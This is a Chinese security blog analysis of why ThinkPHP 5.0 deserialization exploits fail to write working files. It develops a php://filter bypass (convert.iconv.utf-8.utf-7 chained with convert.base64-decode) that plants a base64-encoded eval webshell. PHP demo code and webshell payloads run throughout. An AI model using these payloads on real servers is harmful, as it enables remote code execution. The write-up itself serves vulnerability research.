关于 Thinkphp5.0
的反序列化,自己从去年下半年就开始跟进了,但是由于 5.0 版本中 Request 类的 __call
方法中 hook 是静态变量,导致 5.1、5.2 的反序列化链在 5.0 并不可用;之后,我稍微跟了下有没有其他路径,觉得没有,也就不了了之了。
这次有人挖掘出了 5.0 版本的漏洞,让我兴奋了好久,但是一番测试之后,我和大家一样也发现了明显的缺陷:
<?cuc @riny($_TRG[_]);?>xxxxxxxxxxxxxxx.php
,可以访问但是无法执行代码。以下我将会对造成这两点的原因进行分析,并提出解决方法;但是不会跟进分析Thinkphp5.0反序列化链,只会提供一些demo。
以下分析windows下不可写的原因以及一些不可用但值得学习的方法
无法在windows
下写文件的原因是文件名中含有?
、<
等字符。如下:
<?php file_put_contents('php://filter/write=string.rot13/resource=./<?cuc @riny($_TRG[_]);?>', 'ccc');#报错 file_put_contents('php://filter/write=string.rot13/resource=./cuc @riny($_TRG[_]);', 'ccc'); #生成 cuc @riny($_TRG[_]); 文件
而分析过thinkphp5.0反序列化链可知,file_get_contents 写文件的方式一般如下:
<?php
$payload='php://filter/write=string.rot13/resource=<?cuc @riny($_TRG[_]);?>';
$filename=$payload.'468bc8d30505000a2d7d24702b2cda94.php';
$data="<?php\n//000000000000\n exit();?>\n".serialize($payload.'647c4f96a28a577173d6e398eefcc3fe.php');
file_put_contents($filename, $data); //此代码可以在Linux下生成文件,但是windows下无法生成。
所以有什么办法可以去除<
和?
等字符呢?
php提供了string.strip_tags
和convert.base64-decode
过滤器
可以用 strip_tags 来去除<?...exit()
代码片段,使用 base64 编码<?php...eval($...?>
防止被 strip_tags 删除。如下:
<?php $filename_a= "php://filter/string.strip_tags|convert.base64-decode/resource=PD9waHAgZXZhbCgkX0dFVFtjY2NdKTsgPz4/../a.php"; $data_without = "<?php\n//000000000000\n exit();?>\nphp://filter/string.strip_tags|convert.base64-decode/resource=aPD9waHAgZXZhbCgkX0dFVFtjY2NdKTsgPz4/../a.php"; file_put_contents($filename_a, $data_without); #带有等号 会报错 $filename_b= "php://filter/string.strip_tags|convert.base64-decode/resource=PD9waHAgZXZhbCgkX0dFVFtjY2NdKTsgPz4/../b.php"; $data_with = "<?php\n//000000000000\n exit();?>\nphp://filter/string.strip_tags|convert.base64-decode/resourceaPD9waHAgZXZhbCgkX0dFVFtjY2NdKTsgPz4/../b.php"; file_put_contents($filename_b, $data_with) #不带有等号 成功写入
运行上述代码就可知,使用 strip_tags 和 base64 的方法一般情况下不可取,因为 resource 后面一定要有=
在php中才是合法的语法规则。
以下分析Linux下成功写入文件但无法执行的原因
虚拟机搭建环境,执行exp,成功写入如下文件:
<?cuc //000000000000 rkvg();?> f:101:"cuc://svygre/jevgr=fgevat.ebg13/erfbhepr=<?php @eval($_GET[_]);?>647p4s96n28n577173q6r398rrspp3sr.cuc
访问该文件,会报错 Parse error: syntax error, unexpected 'rkvg' (T_STRING)
导致后续代码无法执行。
这是因为 php 默认会开启short_open_tag
(手册),导致 php 把 <? ?>
之间的内容识别为php代码,但是由于 <?cuc
,也就是 <?
后面出现了 cuc 字符串,使得代码语法不合格,php 报错退出执行。
综上分析,可以知道问题的难点主要在于
?
、<
等非法字符。<?cuc
,使 php 识别为不符合语法规则的php代码
,导致报错推出执行。convert.base64-decode
过滤器则会由于文件内容含有=
导致失败。仔细思考convert.base64-decode
这个过滤器及
利用以往的 exp 进行反序列化过程中file_get_contents
写文件时,其文件名和文件内容的生成规则:可以简化为下述代码,$payload
是可控的。
<?php $payload='php://filter/write=string.rot13/resource=<?cuc @riny($_TRG[_]);?>'; $filename=$payload.'468bc8d30505000a2d7d24702b2cda94.php'; $data="<?php\n//000000000000\n exit();?>\n".serialize($payload.'647c4f96a28a577173d6e398eefcc3fe.php'); echo $filename."\n\n"; echo $data."\n"; /** php://filter/write=string.rot13/resource=<?cuc @riny($_TRG[_]);?>468bc8d30505000a2d7d24702b2cda94.php <?php //000000000000 exit();?> s:101:"php://filter/write=string.rot13/resource=<?cuc @riny($_TRG[_]);?>647c4f96a28a577173d6e398eefcc3fe.php"; **/ file_put_contents($filename, $data);
可以试着把上述代码的string.rot13
该成convert.base64-decode
, 并且base64编码恶意代码<?cuc @riny($_TRG[_]);?>
,如下:
<?php $payload='php://filter/write=convert.base64-decode/resource=PD9jdWMgQHJpbnkoJF9UUkdbX10pOyAgPz4'; $filename=$payload.'468bc8d30505000a2d7d24702b2cda94.php'; $data="<?php\n//000000000000\n exit();?>\n".serialize($payload.'647c4f96a28a577173d6e398eefcc3fe.php'); echo $filename."\n\n"; echo $data."\n"; /** php://filter/write=convert.base64-decode/resource=PD9jdWMgQHJpbnkoJF9UUkdbX10pOyAgPz4468bc8d30505000a2d7d24702b2cda94.php <?php //000000000000 exit();?> s:121:"php://filter/write=convert.base64-decode/resource=PD9jdWMgQHJpbnkoJF9UUkdbX10pOyAgPz4647c4f96a28a577173d6e398eefcc3fe.php"; **/ #file_put_contents($filename, $data);
可以发现文件名变成了PD9jdWMgQHJpbnkoJF9UUkdbX10pOyAgPz4468bc8d30505000a2d7d24702b2cda94.php
文件内容为
<?php
//000000000000
exit();?>
s:121:"php://filter/write=convert.base64-decode/resource=PD9jdWMgQHJpbnkoJF9UUkdbX10pOyAgPz4647c4f96a28a577173d6e398eefcc3fe.php";
且会被convert.base64-decode
过滤器进行base64
解码,但是由于有等号,写入文件肯定会报错。所以现在的问题就变成了,如何让文件名中不含有=
。
大家可以查看php手册英文版的这个页面,拉到最下面,会发现一个过滤器:convert.iconv.*
,这个过滤器需要 php 支持 iconv
,而 iconv 是默认编译的。它的作用等价于函数 iconv()
(这个过滤器在php的中文页面是没有描述的。
看以下demo:
<?php $cc='php://filter/convert.iconv.utf-8.utf-7/resource=123.txt'; file_put_contents($cc,'='); /** 123.txt 写入的内容为: +AD0- **/
也就是,convert.iconv 这个过滤器把 =
转化成了 +AD0-
,要知道 +AD0-
是可以被 convert.base64-decode
过滤器解码的。
答案呼之欲出。使用 convert.iconv.*
配合 convert.base64-decode
。
<?php $payload='php://filter/convert.iconv.utf-8.utf-7|convert.base64-decode/resource=aaaPD9waHAgQGV2YWwoJF9QT1NUWydjY2MnXSk7Pz4g/../a.php'; $filename=$payload.'468bc8d30505000a2d7d24702b2cda94.php'; $data="<?php\n//000000000000\n exit();?>\n".serialize($payload.'647c4f96a28a577173d6e398eefcc3fe.php'); // echo $filename."\n\n"; // echo $data."\n"; file_put_contents($filename, $data);
convert.iconv.*
这个过滤器支持的字符集可以在这里查看,以及Linux下iconv -l
这个命令具体的利用思路就是上述最后一段代码。thinkphp5.0反序列化的exp还需师傅们自己调试了。
若有不足之处,还请多多包涵。